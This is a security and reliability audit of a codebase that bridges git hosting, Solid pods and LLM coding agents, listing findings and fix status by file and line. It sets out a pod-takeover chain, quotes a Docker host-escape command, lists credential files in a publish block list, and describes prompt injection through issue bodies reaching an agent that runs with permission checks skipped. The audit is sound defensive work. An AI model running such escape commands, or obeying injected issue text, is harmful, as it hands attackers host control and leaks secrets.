Synthesis of four parallel audits (security, reliability, deployment/ops, code quality) over the v0 codebase. Each finding cites file:line so a fix can land without re-doing the analysis. Use the priority headers (P0/P1/P2/P3) to schedule the work; the P0 list is the smallest set that must land before exposing the bridge to anyone who is not the developer running it locally.
Status snapshot (2026-05-25, managed-multi-user pass).
- P0 floor: closed. S1–S9, R1–R7, D1–D5, D6 first half all shipped.
- P1: mostly closed. Rate limiting + CORS allowlist + JSON response cap (S8), HEAD↔published-SHA reconciler (R4), structured logging + metrics + correlation IDs (§3.1), workflow network isolation via Verdaccio +
--network nonedefault + stuck-run reaper + log-cap (§3.4), per-user quotas + signup flow (§4), first test suite (§3.2 items 1/2/5 + quotas — 8 vitest passing).- Operator-driven:
infra/prod/scripts/pin-image-digests.shfor floating tags.- Open: §3.2 integration tests (3/4/6/8–10), §3.3 unified error envelope, §3.5 agent budget caps + branch-target restriction, §3.6 push-token expiry/rotation, §3.7 pod-canonical reconciler for issues/comments, P2 items (CI test gate, repo deletion, graceful shutdown).
Verifiable signals.
npx tsc --noEmitclean ·npm run buildsucceeds ·npm run smoke:db9/9 passing ·npm test8/8 passing.Honest verdict. The prototype crosses from "closed beta with trusted operators" to "deployable for managed multi-user public signup IF the operator accepts the remaining gaps as known limits, not silent risks." The 8 unit tests cover the highest-impact regression surfaces (path traversal, token lifecycle, publisher walk, quotas); the integration tests in §3.2 are what's needed before scaling beyond a few hundred users. P0/P1 security holes are closed; what remains is verification harness, ergonomics, and operator-facing polish.
Two production shapes are plausible; the gap list differs:
- Self-hosted, BYO-pod. One organisation runs the bridge for its own developers; users bring their own Solid pods. CSS is optional in the deployment.
- Managed multi-user. The operator also runs a CSS instance and provisions accounts.
The v0 prototype is built for neither — it is a single-tenant, single-pod, single-user demo where every dev secret defaults to a known string. Both production shapes share the entire P0 list below; the multi-user shape adds the items marked (multi-user) in P1/P2.
These are independent of which production shape you target. The rest of the document assumes they are done.
- Rotate
OPENROUTER_API_KEY. A livesk-or-v1-…value is present incodespaces/.env.localon disk. Even though.env*is gitignored, treat this as leaked — any image, backup, or screen-share covers it. Rotate at https://openrouter.ai/keys, then move the new key into a real secrets store (Docker secret, sealed-secret, Vault). - Do not expose the bridge or CSS on a public address until P0 is complete. With current code, anyone reachable on
:3010can take over Alice's pod (see §2.1 for the full chain). - Update
.gitignoreto coverdev.log— currently checked into the working tree.
A pod-takeover chain works today against any deployment that exposes the bridge: an attacker creates a repo claiming the victim's WebID, mints a push token, pushes content, and the seeded-credential fallback authenticates as alice to PUT files into the victim's pod. Every link in this chain needs to break.
[P0-S1] Authenticate every state-changing HTTP route. ✔ Shipped: a session-cookie helper in src/lib/auth/session.ts issues an HMAC-signed cookie (32-byte BRIDGE_SESSION_SECRET) at the OIDC callback (src/app/api/auth/callback/route.ts), with a readable CSRF mirror (mc-csrf). requireSession / requireOwner are now wired into every POST/PATCH/PUT/DELETE route below; body-supplied ownerWebId / authorWebId must match the session WebID or the route 403s. requireOwner resolves the resource's owner from the registry (not the body). The unauthenticated surface that's still acceptable: the read-only GETs (the listing pages are public by design) and /api/git/[o]/[r]/[...path] (push-token-protected at the transport layer). Original threat enumeration retained for posterity:
POST /api/repos— acceptsownerWebId,ownerPodRootwith no proof of control (src/app/api/repos/route.ts:19-95).PATCH /api/repos/{o}/{r}— anyone can flip visibility (src/app/api/repos/[owner]/[repo]/route.ts:33-67).POST /api/repos/{o}/{r}/tokens— anyone can mint a push token for someone else's repo (src/app/api/repos/[owner]/[repo]/tokens/route.ts:19-42).PUT /api/repos/{o}/{r}/pages— anyone can rewrite the publish target (src/app/api/repos/[owner]/[repo]/pages/route.ts:24-62).DELETE /api/identities/{webId}— anyone can disconnect any user's pod (src/app/api/identities/[webId]/route.ts:9-20).POST /api/repos/{o}/{r}/issues,PATCH …/issues/{n},…/comments— author identity is body-supplied (issues/route.ts:40-148,[number]/route.ts:41-95,comments/route.ts:40-100).POST /api/repos/{o}/{r}/runs,POST /api/agents/dispatch— anyone can burn agent budget (runs/route.ts:31-95,agents/dispatch/route.ts:25-63).
Fix. Add a session cookie set only on completion of /connect for a specific WebID. Every route above must require the session's WebID to equal the resource's ownerWebId (or, for /api/identities/{webId}, the WebID being disconnected). Reject any request body that disagrees with the session.
[P0-S2] Remove the seeded-credential fallback in production builds. ✔ Shipped. src/lib/solid/fetch-for-owner.ts refuses the seeded path when NODE_ENV === "production" OR when ALLOW_SEEDED_FALLBACK is unset (env module enforces this via getEnv().allowSeededFallback). Refresh-token-expired and never-connected are now distinct (OidcRefreshFailedError thrown from loadAuthedFetchForWebId; rebranded as OwnerFetchUnavailableError with discriminator at the publisher boundary). src/lib/env.ts refuses to start in production when POD_USER_PASSWORD still equals the dev fallback string. Remaining: delete the fallback entirely once §2.6 (real account onboarding) lands.
[P0-S3] Authenticate the post-receive loopback hook. ✔ Shipped. The hook script written by src/lib/git/backend.ts now computes HMAC-SHA256 over the request body keyed by BRIDGE_HOOK_SECRET and sends it as X-Bridge-Hmac: sha256=<hex>. src/app/api/git/internal/post-receive/route.ts constant-time verifies the digest AND checks X-Forwarded-For against loopback when the request arrived through a reverse proxy. The new scripts/reinstall-hooks.ts (also npm run reinstall:hooks) rewrites every existing repo's hooks/post-receive after a BRIDGE_HOOK_SECRET or BRIDGE_INTERNAL_URL rotation — that closes the "secret rotation silently breaks every existing repo" P0-R4 gap for the hook-script flavour. Reading from a variable inside the hook keeps the secret out of ps.
[P0-S4] Lock down the OIDC start endpoint. ✔ Shipped (with one residual).
- ✔ CSRF:
/api/auth/startchecksOriginagainstBRIDGE_PUBLIC_URLand falls back toSec-Fetch-Site. A cross-site form post is refused before any state is touched. - ✔ WebID-pinning: when the caller passes a
webIdhint alongside the issuer, the route dereferences the profile and refuses ifsolid:oidcIssuerdoesn't match. Hint is optional for backward compat; the chain reaches the repo-create pod-root check next, which also closes the loop. - ✔ Secure cookies: now driven by
getEnv().isProdfor both the OIDC dance cookie (/api/auth/start) and the session cookie (/api/auth/callbackviaissueSession). No more bind-URL-derived "Secure" flag. - ✔ Encrypt token storage at rest:
src/lib/registry/identities.tsnow wraps everyidentity_storagevalue in AES-256-GCM withIDENTITY_ENCRYPTION_KEY(32 bytes from env). On-disk formatv1:<iv>:<tag>:<ct>. Legacy plaintext rows are read back and re-encrypted on the next write — no migration script needed. - Remaining: rate-limit
/api/auth/startper-IP and per-issuer to throttle issuer-discovery probes (rolls into P0-S8).
[P0-S5] Verify ownerPodRoot matches the WebID. ✔ Shipped. src/app/api/repos/route.ts calls verifyPodRootForWebId (new in src/lib/solid/profile.ts) before insert, dereferencing the WebID profile and rejecting any podRoot not in the advertised pim:storage set. Gated on !allowSeededFallback so the seeded-dev path still works without a real profile. Remaining: apply the same check to PATCHing Pages targetContainer (still only enforced at publish time via ensureContainerPath).
[P0-S6] Defend the publisher's filesystem walk. ✔ Shipped.
- ✔ Symlink escape:
walkinsrc/lib/pages/publisher.tsnow lstats every entry and explicitly skips symlinks. The host fs can't be exfiltrated via a pushedevil -> /. - ✔ Forbidden list expanded: directories
.aws,.ssh,.gnupg; file prefixesid_rsa,id_ed25519,id_ecdsa,id_dsa,credentials,secrets; extensions.pem,.key,.p12,.pfx,.asc,.crt; names.netrc,.npmrc,.pypirc,.dockercfg. Per-file cap of 50MB (MAX_PUBLISH_FILE_SIZE) — overrideable via env. - ✔
validateNameis now applied insrc/lib/agents/drivers/coder.tsbefore any path construction.
[P0-S7] Constrain the agents container. ✔ Mostly shipped (one open).
- ✔ API key no longer in
ps:--env OPENROUTER_API_KEY(no=value) and the bridge populates the child's process env separately. - ✔ Sandbox hardening:
--read-only+--tmpfs /tmp:exec,--security-opt no-new-privileges,--cap-drop ALL,--pids-limit=256,--ulimit nofile=1024:1024. - ✔ Process-group kill on timeout: the coder driver now spawns its
docker runwithdetached: trueand kills the WHOLE group on timeout, so the actual container (forked from the parent docker CLI) goes down too. - Remaining: default to
--network noneonce the Verdaccio mirror from §3.4 lands. Today the container is still onbridge(overridable viaMIND_CODER_NETWORK=none) so the demo path works without a mirror. Document this trade-off in the operator README.
[P0-S8] Add CORS, response size, and rate limits. ✔ Shipped.
- ✔ CSRF: P0-S1's session +
mc-csrfdouble-submit closes the cross-origin authed-call window (SameSite: laxkeeps the readable cookie out of cross-site requests). - ✔ Rate limiting:
src/lib/rate-limit.tsships an in-memory token-bucket keyed byX-Forwarded-For. Wired intoPOST /api/repos(repoCreate10/min),POST /api/repos/{o}/{r}/issues(issueCreate20/min),POST /api/repos/{o}/{r}/tokens(tokenMint5/30s),POST /api/auth/start(authStart10/30s),POST /api/agents/dispatch(agentDispatch5/30s). Returns 429 withRetry-Afterwhen buckets drain. - ✔ Basic-auth-failure throttle on
/api/git/.../git-receive-pack—gitPushAuthFailure(capacity 10, refill 1/min) keyed per-(repo, IP). Locks out brute-force attempts on push tokens; legitimate auth burns no budget. Returns 429 withWWW-Authenticateon lockout so git clients see a clean retry prompt rather than 401-as-success. - ✔ CORS allowlist:
src/proxy.ts(Next.js 16 proxy/middleware) enforces an Origin allowlist on/api/*. Default:BRIDGE_PUBLIC_URLonly. Extend viaBRIDGE_CORS_ALLOWED_ORIGINS=https://dashboard.example.com,…. Git Smart HTTP routes (/api/git/...) are excluded — git CLI doesn't send Origin and CORS is irrelevant there. - ✔ JSON response-size cap:
src/lib/http/json.tsexposesjsonResponse()(drop-in forNextResponse.json) that refuses to ship responses overBRIDGE_MAX_JSON_RESPONSE_BYTES(default 5MB). Wired into the listing endpoints most likely to balloon:GET /api/repos,GET /api/repos/{o}/{r}/issues,GET /api/repos/{o}/{r}/runs. The in-memory bucket is single-process — move to a shared store before scaling the bridge horizontally.
[P0-S9] Containerised-bridge Docker socket exposure. Once the bridge runs in its own container (as it does in infra/prod/docker-compose.yml), mounting /var/run/docker.sock directly into the bridge gives any code running inside the bridge the equivalent of host root — a single docker run --rm -v /:/host alpine chroot /host sh is a complete host takeover. The current prod compose mitigates this by routing all Docker API traffic through a tecnativa/docker-socket-proxy sidecar (infra/prod/docker-compose.yml's socket-proxy service) that filters the API down to verbs the bridge actually needs (POST /containers/create, /start, /wait, DELETE /containers/{id}, GET /images/{name}/json) and denies everything else (/exec, /build, /networks, /volumes, /swarm, /plugins, /system, /secrets, /configs).
Residual risk you must account for. The proxy filters by URL + verb only; it does not deep-inspect request bodies. A fully-compromised bridge can still issue POST /containers/create with HostConfig.Privileged: true or HostConfig.Binds: ["/:/host"] and break out. The defense-in-depth that goes with the proxy:
- Pin
MIND_CODER_IMAGEby SHA digest in.env(otherwise a registry compromise can swap the sandbox image — already on the §6.3 supply-chain list). - Block bridge compromise upstream: P0-S1 (unauth routes), P0-S3 (unauth hook), P0-S7 (agents container hardening), and the prompt-injection chain in §3.5 are how an attacker drives the bridge into running arbitrary Docker calls in the first place. P0-S9 is only meaningful in combination with those.
- The strategic fix is to stop relying on the host Docker daemon for sandboxing at all — see §5 for rootless Podman / Sysbox / Firecracker options.
- Verify on every compose change that no new service quietly re-introduces a direct
/var/run/docker.sockmount on the bridge or any other privileged container.
[P0-R1] Per-repo publish lock. ✔ Shipped. src/lib/pages/publish-lock.ts provides a withPublishLock(repoId, task) helper with latest-wins coalescing — while a publish for repo R is in flight, only ONE follow-up can be queued; further incoming publishes collapse into that single follow-up. Both the legacy publishPages path AND the workflow-runner's publish-step now route through this lock. Coalesced publishes are reported in the workflow log so operators can see drop events.
[P0-R2] Don't silently fall back to seeded creds on OIDC refresh failure. ✔ Mostly shipped. OidcRefreshFailedError is now thrown from loadAuthedFetchForWebId when the WebID has a stored identity but the SDK can't refresh; getOwnerFetch re-raises as OwnerFetchUnavailableError("needs-reauthorization"). The publish chain propagates the failure; callers do NOT fall back to seeded creds in this case (the seeded path is only consulted when there's NO identity AT ALL, and even then only in dev with ALLOW_SEEDED_FALLBACK=1). Remaining: surface the "needs reauthorization" status on /repos/{o}/{r} instead of just logging — wire OwnerFetchUnavailableError.reason into a new pages_configs.last_publish_status column (couples with P0-R5).
[P0-R3] Process supervision for git http-backend children. ✔ Shipped (src/lib/git/http-cgi.ts):
- ✔
spawn(..., { detached: true })so each child leads its own group; cancel/timeout/shutdown kill the negative pid to reap grandchildren. - ✔
req.signal.abortedpropagates into the killer (client disconnect → CGI gone). - ✔ 10 min wall-clock timeout per request.
- ✔ Module-scope
liveChildren: Set<ChildProcess>drained onSIGTERM/SIGINT. The prod Dockerfile already runstinias PID 1. - ✔ Non-zero exit after headers now
controller.error()s the response stream — no more truncated-success git clients.
[P0-R4] Reliable hook delivery. ✔ Shipped.
- ✔
npm run reinstall:hooks(scripts/reinstall-hooks.ts) rewrites every existing repo'shooks/post-receivefrom the current env. Run after rotatingBRIDGE_HOOK_SECRETorBRIDGE_INTERNAL_URL. The prod compose usesBRIDGE_INTERNAL_URL=http://bridge:3010so callbacks don't traverse Caddy. - ✔
last_published_shacolumn (migration 011) records HEAD's SHA on every successful publish viamarkPagesPublished(repoId, { sha }). - ✔ Reconciler module (
src/lib/pages/reconciler.ts) walks every Pages-enabled repo on boot + on a 5-minute timer; compares HEAD-of-source-branch tolast_published_sha; republishes on drift. Fires fromensureServerBootstrap(via Next.js 16src/instrumentation.ts) in production, opt-in in dev viaMIND_FORCE_RECONCILER=1. - ✔ Operator-facing trigger:
npm run reconcile:pages(one-shot, exit 1 on any failure) andPOST /api/admin/reconcile(BearerBRIDGE_ADMIN_TOKEN). The hook'scurl … || echosilent-failure window is now bounded by the reconciler interval.
[P0-R5] Surface publish failures in the UI. ✔ Shipped. Migration 010_publish_status.sql adds last_publish_status / last_publish_error / last_publish_attempt to pages_configs. markPagesFailed in src/lib/registry/repos.ts flips the row on every publisher exception (auth-needs-reauthorization, OIDC refresh failed, walk failure, pod 4xx/5xx) and last_publish_status = 'success' is set on the happy path. The repo detail page renders a red PublishStatusBanner (src/app/repos/[owner]/[repo]/page.tsx:223) when status ≠ success, with a reauthorize link wired to /connect when the discriminator is needs-reauth. Remaining: pod 5xx exponential-backoff retry (today every error is terminal); abort-early on 4xx auth (today the publisher walks the whole tree before discovering the token expired).
[P0-R6] Wrap multi-step DB operations in transactions. ✔ Shipped. createRepo now wraps both inserts in db.transaction(...); a crash between the two cannot leave a repos row without its pages_configs partner. getDb sets PRAGMA busy_timeout = 5000 so concurrent writers from publisher/agents/CGI don't surface SQLITE_BUSY as unhandled exceptions.
[P0-R7] Resource caps. ✔ Mostly shipped.
- ✔ Caddy push-body cap:
infra/prod/Caddyfile:32-34shipsrequest_body { max_size {$MIND_MAX_PUSH_BODY:1GB} }on the bridge upstream. Tunable per-deployment; 1GB is the default since legitimategit pushrarely exceeds it. - ✔ Per-file upload size: 50MB default cap in
walk(overrideable viaMAX_PUBLISH_FILE_SIZE). Files above are skipped with a warning. - Remaining: container
--ulimit nofileon the bridge runtime (the coder container already gets--ulimit nofile=1024:1024); RSS / disk-quota observation in the health probe.
Status: a deployment baseline has shipped in
infra/prod/—Dockerfile.bridge,docker-compose.yml(caddy + bridge + socket-proxy + css),Caddyfile,.env.example, deploy README. The items below note what's done vs. what remains as proper P0 work.
[P0-D1] Bridge Dockerfile. ✔ Shipped: infra/prod/Dockerfile.bridge — multi-stage node:22-bookworm-slim build, runs as the built-in node user (uid 1000), tini as PID 1, copies the Next.js output: "standalone" bundle, ships with git and the docker CLI binary. The CSS-only dev compose at the repo root is unchanged. Remaining: HEALTHCHECK directive in the Dockerfile (waits on P0-D5 — the current /api/health is too thin to use as a probe). npm ci already used.
[P0-D2] docker-compose.prod.yml. ✔ Shipped: infra/prod/docker-compose.yml. Named volumes for caddy_data, caddy_config, css_data, bridge_registry, bridge_git_data. The coder-work parent is a host bind mount (/var/lib/mind/coder-work:/var/lib/mind/coder-work), not a named volume — necessary because the host Docker daemon resolves the coder's -v ${workDir}:/work argument, so the bridge container and the host must see that path at the same address (the new MIND_CODER_WORKROOT env on the coder driver, src/lib/agents/drivers/coder.ts:61). The CSS image is pinned to the major tag solidproject/community-server:7 (no longer floating :latest). Includes the P0-S9 socket-proxy sidecar. Remaining: pin every image by @sha256:… digest, not floating tag — caddy:2-alpine, node:22-bookworm-slim, solidproject/community-server:7, tecnativa/docker-socket-proxy:0.3.0 (the bridge image is built locally and so doesn't need a registry digest). The seed-config bind mount is intentionally not used in prod (no seeded users; users sign up at CSS's /idp/register/).
[P0-D3] Reverse proxy + TLS. ✔ Shipped: infra/prod/Caddyfile — Caddy 2 with auto-ACME, two server blocks for ${MIND_DOMAIN_BRIDGE} and ${MIND_DOMAIN_POD}, flush_interval -1 on the bridge proxy so git Smart HTTP streams without buffering. Remaining:
- Split env vars:
BRIDGE_PUBLIC_URL(HTTPS, public — used as the OIDC redirect base) vsBRIDGE_INTERNAL_URL(loopback HTTP — used in the post-receive hook). Today both shareBRIDGE_PUBLIC_URL, which is fine for the demo but means the hook traverses Caddy unnecessarily. - CSS
--baseUrlbecomes the OIDC issuer URL. Decide the public URL before the first user signs up — migrating later either invalidates all existing tokens or requires a fresh CSS install. - Trust
X-Forwarded-Proto: httpsin the bridge when computing the secure-cookie flag (related to P0-S4 bullet 3).
[P0-D4] Fail-fast env validation. ✔ Shipped. src/lib/env.ts is the single source of truth. In NODE_ENV=production it refuses to start when:
BRIDGE_PUBLIC_URL/POD_BASE_URLlook like localhost / loopback,POD_USER_PASSWORDis unset or equals the dev string,BRIDGE_SESSION_SECRET/BRIDGE_HOOK_SECRET/IDENTITY_ENCRYPTION_KEYare missing or the wrong size,MIND_CODER_TIMEOUTis non-positive.
In dev the module synthesises the three secrets into .registry-data/.bridge-secrets.json so restarts produce stable cookies. Remaining: per-call sites (git/backend.ts, git/http-cgi.ts, etc.) have been migrated to getEnv() where it matters; a handful of agent/workflow files still read process.env directly — fine, but consolidating them under getEnv() would tighten the boot-time refusal.
[P0-D5] Real /api/health. ✔ Shipped. /api/health now runs in parallel:
SELECT 1against the registry,git --version(proves the binary is on PATH),HEAD ${POD_BASE_URL}.well-known/openid-configurationwith a 10s in-memory cache,docker infowhenMIND_RUNNER=docker.
Returns 503 with per-check status + latency when any fails. Liveness is a separate route at /api/livez (process up) and is what the new Dockerfile HEALTHCHECK probes. Remaining: trigger migrations at boot rather than inside the first HTTP request (they currently run from getDb()'s first call, which still hits via checkRegistry at startup but the path is a touch indirect).
[P0-D6] Backups. Partially shipped.
- ✔ SQLite:
scripts/backup-registry.ts(npm run backup:registry) usesbetter-sqlite3's onlineDatabase#backup()API to write an atomic, consistent dump to$REGISTRY_DATA_DIR/backups/registry-{ISO8601}.db. Safe to run while the bridge is serving traffic. - Remaining: schedule it (cron / systemd timer / docker sidecar) — the script is wired, but operator-level scheduling is deployment-specific and not committed.
- Remaining:
.git-data/mirror — recommended pattern isgit clone --mirrorto a backup remote per repo on push (gives a working repo, not a tarball). Filesystem snapshot (ZFS / btrfs / LVM) also acceptable. - Remaining: CSS
.css-data/— file backend has no online dump. Either accept a brief downtime window forrsync, or move CSS to a backend that does (Postgres +pg_basebackup). - Remaining: documented restore drill: CSS → registry → git-data → start bridge → run
seed:demo(idempotent) → confirm a known token cangit clone. RPO 24 h / RTO 1 h is achievable with hourly DB backups + nightly snapshots.
- ✔ Structured logging.
src/lib/log.tsships a dependency-free NDJSON logger withLOG_LEVEL+LOG_FORMATenv knobs. InNODE_ENV=production(orLOG_FORMAT=ndjson) it emits one JSON object per line; otherwise it stays human-readable for dev. PII scrubbers (scrubWebId,clip) wired into the highest-leak sites: publisher (src/lib/pages/publisher.ts), OIDC/api/auth/start+/api/auth/callback(error detail is logged but never returned to the client), post-receive hook entry. Correlation IDs viaAsyncLocalStoragethread from post-receive request → publisher chain so acid=…field links the whole publish back to the trigger. - ✔ Metrics at
/api/metrics(src/lib/metrics.ts+src/app/api/metrics/route.ts). Bearer-authenticated withBRIDGE_METRICS_TOKEN; disabled (403) when unset. Exposition formattext/plain; version=0.0.4. Counters:git_pushes_total{owner,repo,result},git_clones_total{...},publish_total{...},publish_failures_total{owner,repo,reason},workflow_runs_total{status},agent_calls_total{driver,role,result},auth_failures_total{scope}. Process defaults:nodejs_memory_heap_used_bytes,nodejs_memory_rss_bytes,nodejs_uptime_seconds. - Remaining: histograms for
publish_duration_seconds/http_request_duration_seconds(counters cover error rates; latencies still need Grafana NDJSON aggregation), OpenTelemetry tracing wiring onsrc/instrumentation.ts, and the alerting catalogue (publish failure rate > 5% / 5 min, Basic-auth-failure spike,.git-data/> 85% full,git http-backendchild > 5 min, CSS unreachable > 1 min) — those live in Prometheus/Grafana config the operator owns, not in this codebase.
✔ Test runner wired: vitest with npm test / npm run test:watch. vitest.config.ts aliases @/* to src/* and stubs server-only so production modules can be unit-tested. 8 tests currently passing across 4 files.
- ✔ Path-traversal regression suite.
tests/path-traversal.test.ts— coversvalidateName(accept-list + reject-list including..,../..,.hidden, embedded whitespace / slashes / backslashes / semicolons / nulls, length>64) andrepoPath(refusal of..segments, escape outsidegitDataDir, correct happy-path resolution). - ✔ Push-token mint / verify / revoke.
tests/push-tokens.test.ts— asserts the plaintext is never in the row (only its sha256), wrong-prefix / wrong-repo / revoked tokens all rejected. - Remaining — Auth gate matrix on
/api/git/[owner]/[repo]/[...path]. The classifier (push vs pull, public vs private) is a single ladder; table-test against the matrix of(visibility, isPush, isPull, has-token, valid-token). - Remaining — Git Smart HTTP round-trip integration test with the real
gitbinary against a tmp.git-data. - ✔ Publisher walk.
tests/publisher-walk.test.ts— fixture drops.git/HEAD,node_modules/,.env,.env.local,credentials.json,site.pem,.DS_Store,.ssh/id_rsa, aevil -> /symlink; assertswalk()yields ONLY the legitimateindex.html+css/site.css. Also exportswalkso the test hits the same code the publisher runs (no shadow copy). - Remaining — End-to-end Pages publish against a live CSS in Docker (upload + MIME types + ACL idempotency + prune behaviour).
- Remaining — Registry migrations on fresh + each-intermediate-version DBs.
- Remaining — OIDC delegation flow against live CSS (full
/connectround-trip). - Remaining — Concurrent-push test (verifies P0-R1's publish-lock).
- Remaining — Hook delivery + reconciler integration test (kill the bridge between push and callback; assert the reconciler catches up).
✔ Quota tests bonus: tests/quotas.test.ts covers assertCanCreateRepo and assertCanMintToken against tunable env limits.
Remaining: npm run lint (next lint), CI workflow (no .github/workflows/ directory yet). The npm test + npm run smoke:db + npm run build + npx tsc --noEmit chain is what should run in CI as a first cut.
- 8+ fire-and-forget promises with
console.warn/console.erroronly —src/app/api/repos/route.ts:89,[owner]/[repo]/route.ts:52,pages/route.ts:49,issues/route.ts:105,143,issues/[number]/route.ts:81,comments/route.ts:92, and the publish chain atsrc/app/api/git/internal/post-receive/route.ts:91. Once a structured logger lands, every one of these needs a correlation id and a metric counter. - Unified error envelope:
{ error: { code, message } }. Today the shape drifts —repos/route.ts:66adds acode, peer routes don't ([owner]/[repo]/route.ts:22,62). Status codes also drift (NOT_FOUNDis 404 in one place, 400 in another). - Don't leak
e.messageto clients (src/app/api/auth/callback/route.ts:33andauth/start/route.ts:51-60); log details server-side, return a stable generic message.
- Remaining — Hard-fail when Docker is unavailable in prod. Today
resolveRunnerModestill falls back tonativewhenMIND_RUNNERis unset. The prod compose now setsMIND_RUNNER=dockerexplicitly so the silent-fallback path can't trip in shipped configs; a follow-up should make the env module refuse to start in production whenMIND_RUNNER !== "docker". - ✔ Network policy on the workflow container.
src/lib/workflows/docker.tsnow passes--network=${MIND_WORKFLOW_NETWORK}(defaultnone) on every workflow container. Prod compose ships averdacciosidecar on a dedicatedmind-workflowsuser-defined network; workflow containers join that network only, andMIND_NPM_REGISTRY=http://verdaccio:4873/becomes theirnpm_config_registry. Workflow container egress is now: Verdaccio (npm mirror) ✓; everything else ✗ — closing the "workflow run can call home" hole. - ✔ Container hardening. Same workflow container now also gets
--read-only --tmpfs /tmp:size=512m,exec --security-opt no-new-privileges:true --cap-drop ALL --pids-limit=512 --ulimit nofile=1024:1024. The bind mount at/workstays writable so npm install actually succeeds; the rootfs cannot be modified. - ✔ Log capture cap.
src/lib/workflows/docker.tsships a per-processappendCappedthat truncates the captured log atMIND_WORKFLOW_LOG_LIMITbytes (default 5MB). Aprintfbomb can no longer OOM the bridge. - ✔ Stuck-run reaper.
reapStuckRuns()insrc/lib/registry/runs.tsruns once at server bootstrap (viasrc/lib/bootstrap.ts→src/instrumentation.ts). Anyworkflow_runsrow withstatus='running'andstarted_atolder than the current process's start time is force-finalised tofailedwith an explanatoryerror_message. - Remaining —
isDockerAvailablecache invalidation. Still cached for process lifetime. The reaper at boot picks up the worst symptom (orphaned rows); a follow-up should add periodic re-probe. - Remaining — Named-container reaper on startup. Bridge crash mid-build still leaves
mind-runner-{hex}containers behind. Add a startupdocker ps -a --filter name=mind-runner-sweep.
- Retry on 5xx.
src/lib/agents/drivers/openrouter.ts:120-123only honors 429 retry-after; 500/502/503/504 (common OpenRouter outage modes) get no retry. - Per-call timeout. No timeout on the fetch (
openrouter.ts:67-81). At 5 min/attempt × 4 retries the call hangs ~20 min. - Rate-limit dispatch. No cap; spammy webhooks can drain the OpenRouter budget.
- Prompt-injection from issue bodies. Issue title/body flows verbatim into the LLM prompt (
src/lib/agents/dispatch.ts:15-25,coder.ts:216-234). Thecoderdriver runsopencode --dangerously-skip-permissionsin a network-enabled container withOPENROUTER_API_KEYin env — a poisoned issue can exfiltrate the key. Combined with P0-S7, kill container egress and treat the agents container as untrusted. - Agent commits trigger a publish. Opencode commits land on
agent/issue-{n}and trigger the post-receive chain; an owner who set PagessourceBranchto that pattern (or whose session is compromised long enough to set it) sees the coder's output auto-published into their pod. Constrain which branches can drive a publish (e.g. requiresourceBranchto match^(main|master|gh-pages)$unless explicitly opted in).
- ✔ Throttle Basic-auth failures on
/api/git/.../[...path].RATE_LIMITS.gitPushAuthFailure(capacity 10, refill 1/min) keyed per-(repo, IP)viaisLockedOut/recordFailureinsrc/lib/rate-limit.ts. Locks out a brute-forcer for ~10 minutes; legitimate pushes burn no budget. - Remaining — Lifecycle columns + UI:
expires_at,last_used_at,revoked_atonpush_tokens. Visible in the token manager so users can audit and rotate. - Remaining — HMAC tokens with a server-side pepper so a leaked DB alone is useless. Today the row stores a sha256 of the plaintext — fine against straight rainbow-table attacks but the pepper hardens against an attacker who steals both the DB and a partial wordlist.
The migration comment on src/lib/registry/migrations/004_issues.sql:1-9 frames the pod as the canonical store and the SQLite tables as a rebuildable index. In practice this is aspirational: every write path goes to SQLite first, the pod mirror is fire-and-forget (writeIssueToPod(...).catch(console.warn) — src/app/api/repos/[owner]/[repo]/issues/route.ts:104-109, same shape for issues/[number]/route.ts:81 and comments/route.ts:92), and no pod→SQLite rebuild path exists. Concretely:
- If a pod PUT fails after the SQLite commit succeeds (CSS down, ACL drift, transient network flap), the issue exists in the bridge's index but not in the user's pod. The UI doesn't surface the gap; the data isn't portable.
- If the SQLite registry is restored from an older backup, every pod-side issue/comment created after the backup snapshot is silently orphaned. The pod still holds them, but they're invisible until someone manually reindexes.
- Users who export their pod and migrate to another bridge get partial state.
Three layers of fix:
- Reconciler on startup + cron. Walk each repo's
{podRoot}/codespaces/{repo}/issues/LDP container; for any Turtle file not represented in SQLite, parse and upsert. Symmetric forcomments/. Idempotent; safe to run repeatedly. Same primitive solves the "restore from old backup" case. - Synchronous pod write on the critical path for at least the first write of an issue/comment (the row counts as "real" only when the pod accepts it). The current best-effort pattern stays for subsequent edits where the SQLite-vs-pod gap is small.
- Status column mirroring P0-R5:
issues.pod_sync_status∈ok/failed/pending, surfaced in the UI so users can see divergence rather than discovering it during a migration. Same forissue_comments.
Same shape applies to pulls (src/lib/registry/pulls.ts) the moment the PR primitive grows a pod-side Turtle representation — which it doesn't yet, and that itself is a P2 omission for portability.
- CI/CD pipeline. GitHub Actions (or GitLab CI): lint + typecheck + the test suite from §3.2 on every PR.
docker build+ push to GHCR on merge to main.npm audit --omit=devgates merges. - Repo deletion API — currently no endpoint exists; the dangling pod state lives forever.
- Graceful shutdown / blue-green deploys (uses the process tracker from P0-R3). Drain in-flight pushes before swapping; reverse-proxy controls upstream.
- Online schema migrations only. Test each new migration on a copy first; avoid long
ALTER TABLEs. - Encrypt
identity_storageat rest (P0-S4 only added it to the new install — apply to existing rows during upgrade). - Replace the hand-rolled Turtle parser in
parseLdpContains(src/lib/pages/publisher.ts:230-257) with a real RDF library. Low-impact today (the pod is the user's), but the prune step is one bug away from deleting more than intended. - Cap
process.envpropagation into the CGI (src/lib/git/http-cgi.ts:28) — allow-list the CGI varsgit http-backendactually needs. - Documentation:
docs/SCHEMA.md(or auto-generated), full env-var table, operational runbook (backup/restore/rotation/upgrade), every undocumented endpoint added to the README (/api/agents,/api/agents/dispatch,/api/repos/{o}/{r}/runs,/api/repos/{o}/{r}/issues/*).
- ✔ Account onboarding flow.
POST /api/signup(rate-limited, CSRF-guarded, gated onBRIDGE_ENABLE_SIGNUP=1) proxies to CSS/idp/register/, persists a row inusers, and hands the client a/connect?webId=…&oidcIssuer=…URL to complete delegation./signuppage (server component +signup-form.tsxclient component) wraps it. - ✔
userstable (migration 012):owner_slug,web_id,pod_root,email,created_at. Helpers insrc/lib/registry/users.ts. Remaining: FK fromrepos.ownertousers.owner_slug— requires touching everyrepos.owner = ?query and a longer follow-up; the table coexists with the free-stringownercolumn for now and the signup flow keeps them in sync. - ✔ Per-user quotas:
src/lib/registry/quotas.tsshipsassertCanCreateRepo(default 50 / owner),assertCanMintToken(default 10 / repo),assertCanDispatchRun(default 500 / owner / 24h). Per-repo disk quota (MAX_DISK_PER_REPO_BYTES, default 1GiB) enforced at the push CGI viagetRepoDiskByteswith a 60s cache. All overridable via env. Tests intests/quotas.test.ts. - Remaining — Switch CSS to a non-file backend (Postgres / SPARQL) for backupability and concurrent-write performance.
-
Deletion-on-republish is already done —
pruneStaleships. Update PRD §7 + README, which are stale. -
